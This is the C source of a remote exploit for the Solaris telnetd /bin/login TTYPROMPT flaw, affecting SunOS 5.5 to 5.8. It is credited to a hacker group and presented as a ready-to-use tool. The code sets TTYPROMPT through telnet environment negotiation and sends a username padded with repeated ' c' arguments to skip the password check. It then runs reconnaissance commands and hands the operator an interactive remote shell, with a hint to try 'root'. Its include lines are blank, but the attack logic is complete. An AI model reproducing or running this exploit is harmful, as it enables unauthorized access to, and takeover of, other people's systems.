/****************************************************************** Solaris 2.6, 7, and 8 /bin/login TTYPROMPT remote exploit. Tested for: SunOS 5.5, 5.5.1, 5.6, 5.7, 5.8 Sparc SunOS 5.7, 5.8 x86 Code by lion lion@cnhonker.net Welcome to HUC website http://www.cnhonker.com ******************************************************************/ #include #include #include #include #include #include #include #include #include #define BUFLEN 1024 char shellcode[]= "\x97\x97\x97\x97\x97\x97"; void usage(char *p) { printf("Usage: %s [-u user] [-p port] <-h host>\n\n", p); printf(" -u: login username (default: bin), try \"root\" :)\n"); printf(" -p: port to use (default: 23)\n\n"); printf("\n"); exit(0); } void msg(char *msg) { perror(msg); exit(errno); } u_int32_t get_ip(char *host) { struct hostent *hp; if(!(hp = gethostbyname(host))){ fprintf(stderr, "cannot resolve %s\n", host); return(0); } return(*(u_int32_t *)hp->h_addr_list[0]); } int get_socket(char *target, int port) { int sock; u_int32_t ip; struct sockaddr_in sin; if(!(ip = get_ip(target))) return(0); bzero(&sin, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_port = htons(port); sin.sin_addr.s_addr = ip; if(!(sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) msg("socket"); if(connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0) msg("connect"); return(sock); } void send_wont(int sock, int option) { char buf[3], *ptr=buf; *ptr++ = IAC; *ptr++ = WONT; *ptr++ = (unsigned char)option; if(write(sock, buf, 3) < 0) msg("write"); return; } void send_will(int sock, int option) { char buf[3], *ptr=buf; *ptr++ = IAC; *ptr++ = WILL; *ptr++ = (unsigned char)option; if(write(sock, buf, 3) < 0) msg("write"); return; } void send_do(int sock, int option) { char buf[3], *ptr=buf; *ptr++ = IAC; *ptr++ = DO; *ptr++ = (unsigned char)option; if(write(sock, buf, 3) < 0) msg("write"); return; } void send_env(int sock, char *name, char *value) { char buf[BUFLEN], *ptr = buf; *ptr++ = IAC; *ptr++ = SB; *ptr++ = TELOPT_NEW_ENVIRON; *ptr++ = TELQUAL_IS; *ptr++ = NEW_ENV_VAR; strncpy(ptr, name, BUFLEN-20); ptr += strlen(ptr); *ptr++ = NEW_ENV_VALUE; strncpy(ptr, value, (&buf[BUFLEN-1] - ptr)-1); ptr += strlen(ptr); *ptr++ = IAC; *ptr++ = SE; if(write(sock, buf, (ptr - buf)) < 0) msg("write"); return; } void do_negotiate(int sock) { send_wont(sock, TELOPT_TTYPE); send_wont(sock, TELOPT_NAWS); send_wont(sock, TELOPT_LFLOW); send_wont(sock, TELOPT_LINEMODE); send_wont(sock, TELOPT_XDISPLOC); send_will(sock, TELOPT_LFLOW); send_will(sock, TELOPT_LINEMODE); send_wont(sock, TELOPT_OLD_ENVIRON); send_will(sock, TELOPT_NEW_ENVIRON); send_will(sock, TELOPT_BINARY); send_env(sock, "TTYPROMPT", shellcode); return; } void write_attack_buf(int sock, char *user) { char outbuf[128],*s_buf; int i, j; if(!(s_buf = (char *)calloc(BUFLEN*2, 1))) msg("malloc"); strcpy(outbuf, user); for(i = 0; i < 65; i++) { strcat(outbuf, " c"); } strcat(outbuf, "\n"); printf("send to target:\n%s\n", outbuf); if(write(sock, outbuf, strlen(outbuf)) < 0) msg("write"); /* -- 2 reads for reading the garbage which screws up term -- */ if((j = read(sock, s_buf, BUFLEN)) < 0) msg("read"); if((j = read(sock, s_buf, BUFLEN)) < 0) msg("read"); free(s_buf); return; } int main(int argc, char **argv) { int c, n, sockfd, port = 23; char buf[2048], *shellstr="cd /; id; pwd; uname -a;\r\n"; char user[36], host[36]; fd_set rset; printf("============================================================\n"); printf("Solaris 5.6 7 8 telnetd Remote exploit\n"); printf("Tested for:\nSunOS 5.5, 5.5.1, 5.6, 5.7, 5.8 Sparc\nSunOS 5.7, 5.8 x86\n"); printf("Code by lion, Welcome to HUC website http://www.cnhonker.com\n\n"); if(argc <3) usage(argv[0]); strcpy(user, "bin"); while((c = getopt(argc, argv, "h:u:p:")) != EOF){ switch(c){ case 'h': strncpy(host, optarg, 36); break; case 'u': strncpy(user,optarg, 36); break; case 'p': port = atoi(optarg); break; } } if(!(sockfd = get_socket(host, port))) exit(-1); do_negotiate(sockfd); n = read(sockfd, buf, sizeof(buf)); write_attack_buf(sockfd,user); send_wont(sockfd, TELOPT_BINARY); sleep(1); read(sockfd, buf, sizeof(buf)); write(sockfd, shellstr, strlen(shellstr)); n = read(sockfd, buf, sizeof(buf)); FD_ZERO(&rset); for(;;){ FD_SET(0, &rset); FD_SET(sockfd, &rset); if(select(sockfd+1, &rset, NULL, NULL, NULL) < 0) msg("select"); if(FD_ISSET(sockfd, &rset)){ bzero(buf, sizeof(buf)); if((n = read(sockfd, buf, sizeof(buf))) < 0) msg("read"); if(n == 0){ printf("EOF\n"); exit(0); } write(1, buf, n); } if(FD_ISSET(0, &rset)){ bzero(buf, sizeof(buf)); if((n = read(0, buf, sizeof(buf))) < 0) msg("read"); if(n == 0) exit(0); write(sockfd, buf, n); } } }